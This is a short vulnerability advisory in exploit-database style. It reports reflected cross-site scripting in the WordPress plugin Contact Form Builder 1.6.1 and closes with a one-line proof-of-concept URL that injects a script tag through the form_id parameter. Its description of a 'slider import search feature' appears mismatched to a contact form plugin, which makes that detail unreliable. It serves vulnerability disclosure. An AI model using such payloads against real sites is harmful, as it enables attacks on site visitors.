WordPress Plugin Contact Form Builder 1.6.1 - Cross-Site Scripting (XSS)

# Exploit Title: Wordpress Plugin Contact Form Builder 1.6.1 - Cross-Site Scripting (XSS)
# Date: 2022-02-07
# Author: Milad karimi
# Software Link: https://wordpress.org/plugins/contact-forms-builder/
# Version: 1.6.1
# Tested on: Windows 11
# CVE: N/A

1. Description:
This plugin creates a Contact Form Builder from any post types. The slider import search feature and tab parameter via plugin settings are vulnerable to reflected cross-site scripting.

2. Proof of Concept:
http://localhost/code_generator.php?form_id=<script>alert('xss')</script>